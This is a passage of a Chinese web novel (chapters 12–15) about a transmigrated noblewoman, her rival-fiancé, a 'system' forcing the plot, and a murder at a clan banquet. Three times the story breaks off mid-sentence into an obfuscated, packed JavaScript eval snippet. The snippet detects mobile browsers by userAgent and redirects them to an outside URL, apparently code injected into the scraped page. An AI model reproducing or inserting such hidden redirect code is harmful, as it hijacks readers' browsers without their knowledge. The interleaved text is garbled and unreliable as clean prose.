谢之栩不耐地扫了眼虞松雪,又弯身去看温衔玉低垂着的脸,目光凝重道:“温衔玉,你受伤了?谁伤的你?谭世望还是之前的越十三?” “……跟你、跟你有什么关系?”温衔玉疼得浑身发抖,余光瞥见谢之栩走上前来的脚步,下意识地向后躲去,忽视他伸过来的手。 12. 剧情混乱 谢之栩想要伸出的手瞬间僵在半空,顿了几秒,凝重的神色才慢慢缓了下去,停在半空的手轻轻落下,垂在身侧。 “也是,你温衔玉的事跟我有什么关系。”谢之栩牵了牵嘴角,微微攥拳道,“不过温衔玉,我可好心提醒你,你这一身新伤旧伤的,要是不好好根治,早晚有一天回馈到你身上,到时候保不准你虚弱地连剑都提不起来。” 温衔玉这次难得没有同他叫嚣,咬牙站起身来,转身离开,虞松雪的手还扶在她的小臂上,她仿佛走了几步才察觉到一般,脚步停了一瞬,抬手将她推开,自己半扶住红香,一步步地向回走去。 虞松雪在原地愣怔几秒,抬眼看了看温衔玉,下定决心似地深吸了口气,小步跟上。 变了,剧情已经完全变了。 谢之栩站在原地,望着几人的身影蹙了蹙眉,如果说上一世的他们经历的是原本的剧情,那么今天路过这里的,应该是书中男主慕无忘才对,可是现在,温衔玉比他早来了一步,并且误打误撞带走了虞松雪。 这此一来,所谓的男女主也好,他和温衔玉也罢,命运轨迹都已经发生了改变。 如果就一直这样变下去,那他和温衔玉是不是就可以摆脱原本的结局,好好活下去了? 谢之栩垂了垂眼,察觉到脑海中似有波动,系统的声音慢悠悠地出现,颇有些看热闹的意味。 “宿主啊,您精心策划的戏码看上去失败了哦。”系统道,“偷了谭世望的玉佩,故意栽赃女主,说好了男主英雄救美,女主一见倾心,两人郎情妾意日久生情,您这女主都走了,还怎么让两人相遇,感情升温?” “走了就走了吧,那慕无忘自己与虞松雪无缘,还能怨到谁身上?我这红娘已经够尽责了。”谢之栩漠然道。 “可是这样的话,您的任务可就危险了。”系统笑道,“温馨提示您,您任务余下的时间不多了哦。” “知道了。”谢之栩的眸光暗了暗,片刻,徐徐低语道,“你放心,我一定会让他们两个相遇。” 我要让他们,做一对亡命鸳鸯! 蓬山的雨一下就是半日,温衔玉忘了自己是什么时候睡着的了,只知道自己醒来时天色灰蒙蒙的,让人一时分不清时辰。 屋内的熏香暖烘烘的,她浑浑噩噩地环顾四周,隐约记得在昏睡时似乎有什么柔软温热的东西碰触过自己的额头,而后没多久,耳边就传来絮絮叨叨的声音,她那时疼得意识不清,却又莫名觉得那声音说得肯定不是什么好话,就有气无力地骂了一嘴。 如今醒来,才后知后觉地反应过来,她该不是骂了吓得直哭的月兰吧。 温衔玉微微叹了口气,刚扶着床榻下地,门外便传来异动,红香急匆匆地跑进屋来,身后跟着端着汤药的虞松雪。 “主子,你感觉好些了吗?”红香小心地给温衔玉端了温水过去,却见温衔玉安慰似的看了她两眼后,狐疑地望向虞松雪。 “你怎么也在这儿?” “我……我是留下照顾贵人的。”虞松雪小声道,“贵人昏迷的时候总是喂不进去药,喂进去就又吐出来,山中郎中皆为男子,不便贴身伺候,刚巧我、我也是个郎中,就想着留在贵人身边照顾,以防贵人有什么突发情况。” 虞松雪一口一个贵人的,听得温衔玉头疼,只挥了挥手道:“你不必叫我贵人,我叫温七。” “是。”虞松雪打量着眼前一袭单衣,长发垂至膝上的美艳女子,轻声道,“温七小姐。” 红香如同看傻子一样地看了虞松雪一眼,上前一步道:“七爷,那谢三郎让昆山送了好些药材来,说是怕您是被他气伤的,特来送药给您配个不是。” “他可真看得起自己,他何时值得我为他生气了?”温衔玉垂眸道,“红香,给把药原封不动退回去。” “是。”红香颔首,话音刚落,虞松雪忙道,“不、不能退,谢三公子送的药我看了,都很适合温七……温七公子现在的身体状况,而且都是些罕见且见效快的补药,山上不好找的。” “你倒是很清楚我的身体状况。”温衔玉歪了歪头,绕有兴趣地看向虞松雪,后者愣怔地一咬舌头,好半天才喃喃道,“七爷救了我,就算是为了报恩,我也一定会尽心尽力的照顾你的。” “报恩?我不需要。”温衔玉轻笑一声,“虞松雪,我的身体我自己了解,我不需要留一个郎中在身边。” “你需要!”谈及身体,虞松雪的语气猛地强硬起来,“你的身体表面看着没什么,实则隐患众多,而且根本没有认真医治,如果一直这样下去,早晚有一天会积重难返。” “你这是在担心我?你居然担心我?”温衔玉不解道,目光落在虞松雪身上仔细打量,怎么也想不通这原书里与自己敌对的女主居然能说出担心她这种反派的话。 原来,这样的人才当女主。 温衔玉静静地盯着虞松雪的眼睛,那双眼睛单纯,无辜,怯懦却又真挚良善,像是没被泥土沾染过的甘露,晶莹剔透,澄澈干净。 像虞松雪这种人,在温家甚至活不到成年。 可偏偏也是这样的人,居然可以让她这个在温家挣扎了十几年的人走向死亡。 “你说得对,我确实需要你留在我身边。”思索片刻,温衔玉点了点头。 她现在虽然杀不了虞松雪,可总得想法子把她拴在自己身边,万一那天真找到什么法子解决她,也可当机立断,省着再去抓。况且她如今只知道女主是谁,对男主一概不知,这男女主总该见面吧,用虞松雪当诱饵,她就不信找不到男主。 况且大部分话本子里都写的是男女主相爱,按照这个逻辑,那男主多半得喜欢虞松雪吧。 温衔玉神色复杂地看了看虞松雪,犹豫半晌,还是谨慎道:“我……问你个问题。” 虞松雪眼神亮晶晶的,温衔玉心一横,试探道:“你有没有喜欢的男子?” 虞松雪的脸瞬间一红,磕磕绊绊道:“没有,七爷问这个做什么?” “你当我闲的吧。”温衔玉也觉得自己许是最近的思绪太杂,昏了头,居然能问出这么荒唐的问题,末了,揉了揉眉心,低声道,“你不是说你阿娘那里没有药吗,等明日让月兰带你去买吧,买完后找人送回家里,你跟着月兰回来。” “多谢七爷。”虞松雪的眼中瞬间亮起,见温衔玉抬手示意她退下后立刻跑去找月兰,留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322914|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红香一人在屋。 “主子,您很喜欢这位虞姑娘?” “不喜欢。”温衔玉毫不犹豫道,“她怯懦、软弱、笨拙、幼稚,是个拖累。” “那您还把她留在身边?” “她还有用。”温衔玉轻声道,“红香,帮我看好她,她接触的所有人都要记下来。” “是。”红香应道,刚要退下,又听温衔玉喊住自己,似乎很为难似的犹豫了会儿,片刻,咬牙道,“另外,给我找一些话本子来,越多越好,我就不信区区话本子,我还会摸不清它的故事走向。” “……啊?” 温衔玉一连休整了几日,在这期间温明远成功度过了第一轮比试,当晚魏敬山的请帖便被送了过来,说是要请江南剑道的几大家族去往阑珊庭院小聚。 与请帖一同送来的,还有几件做工极为精美的女子衣裙,温衔玉对此没什么兴趣,让红香和月兰挑了几件后,余下的都随手打发给了虞松雪。 虽说她不喜欢虞松雪,但这人如今也算是跟在她身边的,穿得总不能太寒酸,否则便是丢她温家的脸。 随口交代完了衣物,温衔玉起身向阑珊庭院走去。阑珊庭院位于溪水侧,青山旁,是极雅致之所,不等走进,温衔玉便听里面丝竹声阵阵,莺歌燕舞声不断。 温衔玉推门走进,见江南剑道的几大家族皆已落座,其下属的几个世家门派也都已到齐。谢之栩坐在谢家二郎的身侧,原本正笑吟吟地等着身侧美婢喂酒,见她进来,眉梢轻轻一挑,挡开美婢送上的酒,轻佻道:“几日不见温七爷,今日一见,气色倒是好了不少。” “谢三郎也不遑多让啊,春风得意,好不自在。”温衔玉对着谢之栩勉强扯了扯嘴角,随后同谢、慕两大家主施了个礼,“温七见过两位叔伯,这位是我的庶弟,温家老八,温明远。” “温家侄女几年不见,出落的倒是愈发动人了。”慕家家主慕振昇道,身侧攀谈的谢家家主谢衡也笑,“可不是嘛,早先你姑母要你表哥同你定订婚,你那不成器的表哥却总是讨嫌惹你不快,如今看来,是你表哥无福,倒是便宜了三郎。” 谢衡不说这话还好,说了温衔玉便只觉好笑。 当初她那嫁去谢家当主母的姑母,一心想着让她嫁给作为谢家大郎的亲表哥,奈何那大郎实在是个欺男霸女的混账,被她揍得满地找牙,避她如蛇蝎,故而向谢衡和她姑母哭诉,宁死不娶她。温谢联姻本是定局,如此一来,她便像是物件似的被推给了三郎谢之栩。 温衔玉觉得谢衡这人属实很会说话,硬生生把我大儿子看不上你说得这样好听,说得好像她选谁便是那人的福气似的,其实她连选择权都没有。 温衔玉同谢衡客套两句便不想多说了,但是那慕家主慕振昇似乎对她很感兴趣,同她说上两句后便看向身后高大挺拔的年轻男子。 “无忘,这便是温家的小七爷了,我记得你之前也说过很多次想要见一见。”慕振昇拍了拍身侧蓝衣男子的肩道,“温侄女,这是我的大儿子,慕无忘。” “慕无忘……”温衔玉低声咀嚼名字的同时,谢之栩举着酒杯的手蓦地停住,一双眼微微眯起,长睫尽遮眼底阴郁之色。 13. 纠缠不清 真是太可惜了,居然不能杀害主角。否则他一定不会让慕无忘活着站在这里,更别提站在温衔玉面前。 谢之栩徐徐撂下酒杯,强压下眼底翻涌的杀意,听闻外头似乎有动静,重新带上笑,侧目向门口处看去,见魏敬山姗姗来迟,众人连忙起身,向他作楫。 “见过魏盟主。” “诸位多礼了。”魏敬山呵呵笑道,自然而然地坐在主位上,环顾了一圈下首。 江南剑道本以魏、温、谢、慕四大家族为首,四大家族下则是有些名望的小家族,而今魏敬山当上盟主数十年,余下三大家族自然没有与其平起平坐的份儿,便成了以魏氏为首的江南的三大家族。 魏敬山环顾一圈,见无人受邀不来,神色略微满意,只客套了两句便让众人开席。 席间魏敬山再次提及了英豪大会第一日的刺杀之事,叮嘱众人小心,目光虽未刻意停留在温衔玉身上,温衔玉却听得出这人是在催促着自己快些将刺杀之事查明。 倒也奇怪,除了英豪大会开幕之日,那此刻便仿佛人间蒸发了似的,再也没对魏敬山出手,若是一直这样下去,哪还有半点线索可以追查。 温衔玉烦闷地将酒饮尽,抬头,正对上谢之栩打量自己的目光。她与谢之栩虽说敌对,却也称得上熟悉彼此,只一个眼神就知道对方的一肚子坏水,果不其然,温衔玉没等把眼神移开,就听谢之栩轻笑一声,眼尾上挑道:“温大小姐今日怎么没带新收的侍女来?” “我带哪个侍女来,谢三郎也要管?”温衔玉反唇相讥。 “我哪敢管小七爷啊,就是有些可惜罢了。”谢之栩托腮道,“我想着小七爷从我与谭公子手里抢走的宝贝,总该带出来给大家见一见才是,毕竟那姑娘也算特别。”谢之栩指了指自己的耳下三指处,“她这里的那个莲花胎记着实少见,惟妙惟肖,跟真的似的。” 谢之栩话落,似有而无地扫了眼正在举杯的慕无忘,见这人听闻莲花胎记时手一顿,面色诧异地放下酒杯,向温衔玉看来。 要的就是这种反应。 谢之栩挑了挑眉,满意一笑,又侧目看向谭世望,谭世望对温衔玉当日之举仍旧心有余悸,又见谢之栩笑眯眯地看向自己,不知想到了什么,犹如见鬼一般地颤抖起来,恨不得钻到桌下。 他平日是目中无人了些,却也惜命得很,实在是不想再与这二人有任何接触。 可偏偏天不遂人愿。 “谭公子,你前些日子也见到那姑娘了,你是不是也觉得那姑娘很特别?”谢之栩侧目看向谭世望,温衔玉闻声也抬了眼,向同样的方向看去,“怎么,谭公子还对当日之事还念念不忘?想着让那虞姑娘给你请罪?” 世家之中鲜少有这样明显的剑拔弩张,更何况在场之人或多或少清楚温谢两家的关系,一时间所有目光都似看戏般地投来,齐齐落在谭世望身上,看着他如何作答。 谭世望这辈子没这么想念过他爹。 如果他爹在场,可能这两个人还会卖他爹一个面子,少提一嘴他。 现下,简直是把他放在火炉上烤。 “哎呦……哎呦呦……我的肚子。”谭世望顿觉自己聪明绝顶,竟能想到如此逃跑之术,“诸位……谭某,谭某的肚子似乎有些不对,先去解决一下,诸位贵人们先吃,谭某先行一步。” 话落,拔腿就往外跑。 没了谭世望,众人也无法再看戏,只好打着哈哈地将此事盖过,再次推杯换盏起来。 谢家人此次来得众多,眼下正热闹着,慕家家主看着便平和,对着自己身边的两个儿子照顾有加,温明远虽然脑子不算聪明,但却极会奉承,几日下来把魏敬山哄得高兴,竟对他真有几分父子的关照。 温衔玉环顾着四周,只觉得自己仿佛在观赏着什么天伦之乐的和美画面,祥和却刺眼。 “红香,你留在这儿,我去外头醒醒酒。”温衔玉低声吩咐了句,起身向外走去。 阑珊庭院内灯火辉煌,笙歌鼎沸,温衔玉顺着僻静的小路往花园里走,没走出多远,就听身后传来窸窸窣窣的声音,联想到前些日子的刺杀,温衔玉顿了顿脚步,悄悄拔出袖中的匕首。 脚步微微放慢,那脚步声果然快步跟了上来,呼吸声方一出现在身后,温衔玉的手猛地向后袭去,刀尖堪堪停留在那人的脖颈处。 “谢三?”温衔玉的手依旧没放下来,甚至整个人先前逼近一步,“你跟踪着我做什么。” “天地良心啊,去后花园的路就这么一条,怎么就算跟踪了?”谢之栩笑道,指尖落在刀尖,小心翼翼地推开,“拿远点,小心谋杀亲夫。” “你是真的不要脸。”温衔玉一字一句咬牙切齿,谢之栩浑然不在意地耸耸肩,垂眼对上温衔玉怒瞪的杏眼,摊手道,“泱泱,谢家人都在呢,你要是真伤了我,那场面可不大好看。” 温衔玉拿刀的手气得有些抖,直直瞪了谢之栩好些秒,才怒骂了一句混蛋,不甘地放下匕首。 她原本便不信谢之栩是真的要去后花园的,所以也懒得同他绕圈子,直接开门见山道:“你跟着我出来,不会还是为了那个虞松雪吧。” “不愧是我的未婚妻,真聪明。”谢之栩摇扇道,“泱泱,把她让给我吧,我是真的需要她。” “是她自己想要跟着我的,什么叫做让我把她让给你?”温衔玉冷笑一声,仔仔细细地打量着谢之栩,“谢三,你那么多美婢环侍都不够啊,就非瞧上这一个?” “我何时说我瞧上她了?”谢之栩不屑道,温衔玉抬眼,“那你要她做什么?” “这……” 温衔玉倒真把谢之栩问住了,他总不能说他需要用她来完成系统任务吧,可若是不这么说,说些别的什么让温衔玉误会他与虞松雪,他着实觉得晦气。 没等谢之栩想出个合适的理由,温衔玉先是笑出了声。 “谢三,别绞尽脑汁的想了,你的作风我还是见识过的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他要占据她生命的一隅,无论以何种方式。 谢之栩忽然笑了,笑得心口很疼,像是被扎了密密麻麻的针孔。 “对,你说得都对,我都要脏死了。”他煞有介事地吓唬着她,笑得恶劣,“我之后一定洗干净了再爬上大小姐的榻,好同大小姐耳鬓厮磨,同床共枕!” “谢三,你!你敢……我就杀了你!” 温衔玉这辈子骂人的话都快要在谢之栩面前说尽了,她没想到居然会有人把这种不加掩饰的露骨话说得明目张胆。 温衔玉的心口剧烈起伏着,一双黑亮的眼中充斥着不甘和藏在眼底的……一丝不易察觉的委屈。 谢之栩故意制止着自己去想这丝委屈的来源,他不敢去猜这委屈是不是来源于他视同至宝的婚约,是不是来自嫁给他本身这件事,还是……来源于别的什么。 反正他们的关系总是这样的,惹恼对方才是常态,上辈子是,这辈子也差不太多。 “谢三,我的人是不会让给你的。”温衔玉的指甲深深陷入掌心,“你想要就从我的手里抢,如果你抢得过的话。” 14. 意料之外 从她手里抢人?他哪来的胆子? 旁人不了解温衔玉,他还不了解她吗?她向来护犊子得很,红香看似沉稳,实则矜持高傲,月兰更不必说,那天不怕地不怕的嘴,哪怕是遇见他都能骂上两句。这二人被温衔玉护得妥帖,活生生养出了这样的自在性子,只怕是哪天同他发生了不快,也只有温衔玉帮她们出头的份儿。 温衔玉这人,领地意识极强,只要是她的东西,旁人别想沾染分毫。东西尚且抢不得,更别提虞松雪这样的大活人。 好在他本身也没想同她抢,他这些年做过不少惹恼她的事,但那不过是巴望着她落下来的那一点眼神。要是真因为虞松雪的事让温衔玉不快,于他而言,实在是得不偿失,甚至有点恶心。 因此对于温衔玉这种毫不退让的语气,谢之栩其实没什么所谓,他最大的不满,在于她那么强烈的领地意识,居然没有一星半点体现在他身上,好歹他名义上也算跟她有些牵扯。 长久的沉默被视为无声的挑衅,温衔玉的目光冰冷地从谢之栩脸上移开,她无心与他纠缠,二人间这种寂静的诡异气氛只会让她坐立难安,干脆迈步向回走去。 谢之栩不紧不慢地跟在她身后五步之内。 温衔玉察觉得到,脚步停住,身后的便也停住,她想开口问些什么,张开嘴,却又想起这人只会胡搅蛮缠,没什么值得说的。 这路本就是条小路,黑漆漆的,只有熹微的一点光亮,湖边的草丛内隐隐约约地透露出细小的光点,谢之栩凝神看去,见丛中的萤火虫四散飞来,萦绕在二人身边,落在温衔玉的肩上。 他见过很多次她的背影,但很少有机会去长久地注视。她扮演男子扮演得太久,以至于很多人忘了她原本的样子,可他是记得的,他记得她单薄的背,消瘦的肩,清晰有力的线条,像锋芒毕露的刃。 他其实想要再去碰一下她的肩膀,但手抬到了一半,却又觉得那样太无趣。 他莫名地想起小时候的她,不大的一个却总喜欢挡在前面,趾高气昂地教训着欺男霸女的族弟,第二日又被别人拿来报复的蛇虫吓得跳脚,脸皱得像包子似的,却还要强装镇定。 是从什么时候起,他见不到她这幅样子的呢? 谢之栩想了一会儿,没想出个所以然,骨子里的恶劣似乎又在隐隐作祟,他就喜欢看她对他冷嘲热讽,羞恼怒骂,好像只有那样,她才是她,才像个活人。 她才真的,再次出现在了他身边。 停在半空的手轻轻放下,谢之栩忽而快走几步,在温衔玉一侧探出头来,急忙道:“温衔玉,你别动,你身上有蛇!” 下意识的恐惧迫使温衔玉几乎瞬间偏过头来,蹙眉向肩上看去,眼睛慌乱地眨了几下,没等找到什么,就听见谢之栩在旁哈哈大笑,几乎将腰都弯了下去。 温衔玉的手就那样顿住了,怔了片刻,眼中流露出的惊慌逐渐被冷淡取代,面无表情地看了谢之栩几秒后,慢慢开口:“谢三,你真无聊。” 谢之栩还是在笑,笑得弯了身子,笑得忍不住蜷缩地蹲下。温衔玉冷冷地看了他几眼,转身走开,这一次谢之栩倒是没立刻跟上,他难得笑得那样肆意畅快,温衔玉走了很远还能听见身后的笑声,只不过那笑声听久了竟让人觉得莫名的心酸。 温衔玉停下脚步听了一会儿,没等思考完谢之栩是不是受了什么刺激,就听见不远处传来一声熟悉的尖叫。 红香!是红香的声音! 再无瑕顾及身后的戛然而止的笑声,温衔玉抬腿便往设宴处跑,耳边呼啸的风声不断,树影绰绰,等她回去亭中,只见一群人围在宴席大门前,红香苍白着脸站在中间,仰头望着门梁上挂着的人。 谭世望! 那个吊死的人,居然是谭世望! 温衔玉愣住,僵了几秒后才回过神来,拨开人群走到红香身边,单手扶住她的肩膀。 “怎么了,红香?” “他、他死了……主子,谭公子居然死了!”红香声音微微颤抖道,“方才魏盟主谈及您,奴婢恐盟主有要事找您,就想着去找您,寻你不成,就想着回来,结果、结果就看见谭公子的尸体被挂在这里……还有……还有他的舌头……舌头也被人割了下来……” 割了……舌头? 温衔玉心中一顿,眯了眯眼,霎时生出了种不安的感觉。 “主子……”红香仍旧有些惊惧,温衔玉拍了拍她的肩,强壮镇定道,“没事,你先回去休息一会儿,这边有我和魏盟主呢。” “是、是。”红香点了点头,随着红香走远,温衔玉的目光再次冷了下来,抬眼,缓缓注视着头上滴血的尸体。 谭世望是吊着的,更准确的来说,应该是被杀死后吊在了门口,张开的血盆大口中,猩红一片,血水一滴滴地砸在地上,空荡荡的口中没有半点舌头的痕迹。 “温七侄女可算是回来了。”魏敬山的声音在背后响起,温衔玉垂了垂眼,转身赔笑道,“让魏盟主久等了。” “谈何久等,不过是我有些担心侄女的安危罢了,你瞧,世望这……”魏敬山摇了摇头,长叹道,“哎,可怜的孩子啊。” 魏敬山话落,周遭的世家子弟也跟着唉声叹气起来,几个胆大的,与谭世望平日交好的,互相看了一眼,片刻,有人站出来道:“敢问小七爷方才都去了哪里?可曾见过什么可疑之人?” “我刚才去了后花园。”温衔玉好整以暇地看了那人一眼,等着他问出那个问题。 “那……可有人证?”那人又道,温衔玉冷冷看去,刚要说话,就听大老远地传来谢之栩的声音,“我就是她的人证,你想要问什么,不如我来帮你问?” 谢之栩道,“你是想问她,是不是她杀了谭世望吧?” “这……”问话的公子一时语塞,抬眼看了看谭世望的尸体,又咬牙道,“我问了又怎样,谁不知道她前不久刚和世望闹了不快?扬言要割掉他的舌头。而今世望的舌头被人活活割去,方才又恰巧她离席,我不怀疑她,我怀疑谁!” “可是刚才我与温衔玉在一起,她没时间动手。”谢之栩抬眉道,那人顿时笑了,“谢三公子,我们在场的谁不知道你与小七爷的关系,说起来,他们发生冲突的那日你也在场,今日该不是你故意与小七爷发生口角,逼得世望出门,然后将其杀害的吧。” 这人不说还好,一这么分析,谢之栩反倒是瞪大了眼睛,惊诧又好笑地看向那人:“你觉得他值得我为他费这么多心思?” “你……” 这人的话还没说完,一旁的温衔玉忽然凉凉开口:“你这么急着把谭世望的死推到我身上,该不会是做贼心虚吧?” “我什么时候做贼了!世望是我的好兄弟,我……”这人话说到一半,温衔玉忽而拔刀上前,刀刃抵住那人的喉咙,割出几道血痕,那人瞬间闭了嘴,反倒是周遭围着的世家子弟们瞬间暴怒出声。 “对!那天也是这样!她就是这么威胁谭公子的!” “温七!大庭广众之下,你也敢动手!” “温七!你怎敢如此猖狂!你眼里还有没有规矩可言!” …… 叫嚷声中,温衔玉环顾四周,这么多人里,只有两双眼中没有对她的不满,一个是谢之栩,另一个,是慕家的那个长子——慕无忘。 他隔着人群晦暗不明地盯着她,没有开口替她辩解,却也没有和其他人一样指责她,就那么站在原地,一眨不眨地看着她的一举一动。 慕家的这个人,倒是有点意思。 温衔玉环顾着四周,众人皆是严阵以待的神情,甚至有些人的手已经摸上了刀剑。 片刻,刀突然从那人的脖子上松开,温衔玉没什么表情,语气却噙着几分冷意。 “如你们所言,我温七猖狂放肆,目无规矩,如果我真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322916|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想杀他,只会像现在一样,毫无顾忌地动手,而不是偷偷摸摸的杀了挂在门前,等着你们怀疑。” “可是……可是除了你,还有谁有理由杀他?” “以谭公子的作风,得罪的人多了去了,谁知道哪个怀恨在心。”谢之栩慢悠悠道,围着谭世望走了两圈,忽而在他身后停下,向上指了指道,“瞧瞧,这脖子后面不是标着一呢嘛,估计之后还会有二三四五,多死两个,就知道是谁动的手了。” 谢之栩此话一落,周遭众人顿时骚乱起来,魏敬山迈步上前盯了那尸身半晌,不知是想到了什么,脸色瞬间阴了下来,咳了几声道:“天色已晚,诸位先回去休息吧,此事我会亲自调查,定会给诸位一个满意的交代。” 魏敬山既已开口,众人便不再多言,纷纷告辞离去。谢衡早对谢之栩今日多言有所不满,,侧目横了他一眼,催促着云音娘子带他离开,温衔玉不想与谢家之人同行,刚想着提前离去,便听魏敬山轻轻一咳,慢声道:“温七侄女,你留下。” 待到人都散尽,谭世望的尸体也被魏敬山命人取下,屋内杯盘狼藉,只留魏敬山与她二人。 “温七侄女,此事与你当真毫无关系?” “魏盟主,我已经说了,我若真想杀他,他断然活不到今日来参见宴会。”温衔玉道,魏敬山静了静,精明的目光打量着温衔玉,片刻,笑道,“温七侄女的话,我信,但方才那些人可未必都信,若想证明清白,还需要抓到真凶才行。” “若真如谢家三郎所说,这后面还有更多的死者,那便是一起连环杀人案,我觉得此事兴许与刺杀我之人有关。“魏敬山思忖着开口。 “温七侄女,你温家一向最会为我排忧解难,追查刺客之事既然已经交给了你,此事便一同交给你,我会给你足够的人手,全力辅佐你,如此,一来能证明你的清白,二来也能保证英豪大会的顺利开展。他日若抓住真凶,我定会向你阿爹多多美言!” 魏敬山话落,温衔玉暗自皱了皱眉。 光是追查刺客一事已经够让她头疼,如今又来这一遭,她也真是够背的,何必在那会儿功夫出门,最后成了最有可能杀害这谭世望之人。 现在这魏敬山打着帮她洗白冤屈的旗号让她做事,她自然也不能否决。 暗暗咬了咬牙,温衔玉皮笑肉不笑地道:“温七定会全力侦破此案!” “不愧是温家侄女!”魏敬山一笑,看了看旁边的黑衣小厮,同温衔玉介绍道,“温家侄女,这是我们魏氏龙虎卫统领卓影,会帮助你一同调查此事!” “多谢盟主。”温衔玉抬头看了卓影一眼,算是同那人打过招呼,见魏敬山似乎已经交代完了,便开口告退。 山中的夜晚格外寒凉,温衔玉回去听月兰交代了几句虞松雪的事,索性这人还算老实听话,极好看管,也没接触什么特别的人,估摸着那所谓的男主还没出现。 一夜无梦,再睁眼已是日上三竿,第三轮比试抽签即将开始。 此次比试共有一百四十四人,第一轮为四进二,余七十二人,第二轮为三进一,余二十四人,今日便是这二十四人抽签。 温衔玉站在二楼围栏处向下望去,如果那魏敬山说话算话,这轮温明远的对手依旧会是安排好的人,只是这安排好的人虽然也是魏氏的人,但却是进了二十四强的高手,与最初的对手肯定不一样,温明远对付他们,未必会那么轻松。 如果温明远对战吃力的话,那之后的事情便好说了。是时候动手送走温明远了,他既是温家这代男儿中最出色的,除掉他,余下的就更不足为惧。 说到底,怪只怪这温明远太不懂事,既想着夺温家的权利,又想着过继到她阿娘膝下,同她抢阿娘。 温衔玉正想得出神,一只手冷不防地搭上她的肩膀,她下意识一躲,侧首,正对上那人似笑非笑的眼睛。 “谢三?你又来做什么?” 15. 不愿嫁他 “还用问吗?当然是过来找你的。”谢之栩转身斜倚在雕栏上,“温衔玉,如果我没猜错的话,魏敬山是让你来调查昨天那事吧。” “关你什么事?”温衔玉抬眼看去,谢之栩歪头一笑,“没否认,那就是了,别用那种眼神看我,温衔玉,我是来帮你的。” “帮我?”温衔玉眯了眯眼,不屑道,“你谢三什么时候这么好心了?” “也不算好心吧,一来你是我的未婚妻,帮自己的未过门的夫人,合情合理。”谢之栩对上温衔玉冷冰冰的目光,漫不经心地伸出第二个手指,“二来我昨晚帮你说话,如今也被一些不长眼的怀疑,我自然是要想法子还自己一个清白。” “温衔玉,我知道魏敬山一定会给你人手,但他不会放心把所有人手都交给你,这魏氏山庄这么大,光参与比试之人就有百余人,更遑论随行之人。他给你的那点人,根本不够用,与其自己劳心劳力,不如接受我的帮助。” 谢之栩摇了摇手中的折扇,扬眉笑道:“谢氏的人手随你差遣,如何?” “挺有诚意的。”温衔玉不置可否道,“说吧,什么条件?” “我们泱泱可真聪明。”谢之栩满意一笑,指了指一楼处正看向奉天台的那人,“还记得他吗?慕家的那位大公子,慕无忘。” “记得。”温衔玉道,“怎么了?” “他就是我第三轮的对手。”谢之栩开口,温衔玉垂眼看了看,似乎还想了一会儿,许久,定论道,“那你输定了。” “是啊,不过我等的就是他。”谢之栩说着,忽而敛了笑意,目光中露出难得的正色,“温衔玉,我的条件就是,在我和他比试之时,你要过来看,你要看清他的一招一式! “为什么让我来看?” “什么为什么?”谢之栩懒散道,“当然是因为我怕死啊。” “温衔玉,那可是慕家的大公子啊,据说他的身手可不比慕家主差。”谢之栩慢悠悠道,“他要是想借着比试的名义故意伤我可怎么办?除了我爹能及时拦下,也就只剩你了。我爹明日肯定会去看大哥的比试,如此一来,我就只剩你一根救命稻草了。” “无冤无仇的,他为什么会想要故意伤你?”温衔玉质疑道,谢之栩理所当然地摊了摊手,“当然是因为我比他俊美潇洒,比他更会讨女人欢心,抢了他的风头呗。” “谢三。”温衔玉忍无可忍地咬住牙,“论恶心人,你还真是无人能敌。” “随便你怎么说吧。”谢之栩从雕栏上直起身,扇端抵在温衔玉的肩头,“你当我一场比试的护卫,谢家的人就随你差遣,如何?温衔玉,这笔买卖,我可是十足的诚意,你怎么算都不亏。” “你的诚意我能相信几分?”温衔玉警惕地睨眼看去,谢之栩扬眉一笑,“不试试怎么知道?” 丝毫不加掩饰的狂妄挑衅,他们仿佛开了场押上筹码的赌局,先让步者是输家,是手下败将。温衔玉清楚地看见谢之栩眼底的揶揄,他摆明是在等着看她退缩的笑话,同样,他也看得出她眼中的鄙夷与忌惮,像给犯人定罪一般的直白审视。 谁都不想当输家,他们毫不掩饰地想要压对方一头。 “成交!” 片刻,温衔玉毫不退让地开口,只是这种无畏的接招并非因为她对他有什么信任可言,而是她纯粹的认为他不足为惧。 “一言既出,驷马难追,温衔玉,我明日的命可就交到你手上了。”谢之栩说着,见温衔玉要走,余光瞥了眼一楼处的慕无忘,犹豫一瞬,还是挣扎道,“既然你明天要来,不如多带几个人伺候,我看你上次捡的那位虞姑娘就不错。” 温衔玉停下脚步,回头讽刺地看了谢之栩一眼,冷笑一声,吐出四个字:“贼心不死。” 如果不是因为之前已经打了谢之栩,以他对虞松雪的上心程度,温衔玉还真有些怀疑他会不会就是那个传说中的男主,毕竟浪子回头只为一人的戏码在话本子里也不少见,浪荡纨绔的他为了纯真善良的她,洗心革面,痛改前非。而作为浪子未婚妻的她,正好符合了反派的角色要求,起到一个让女主对男主心生隔阂的作用。 温衔玉若有所思地想着,许是最近话本子看得太多,竟真觉得自己此番想法非常符合剧情的推演。可是……她想杀虞松雪的时候受到了系统的惩罚,但和谢之栩动手的时候,可没有收到警告…… 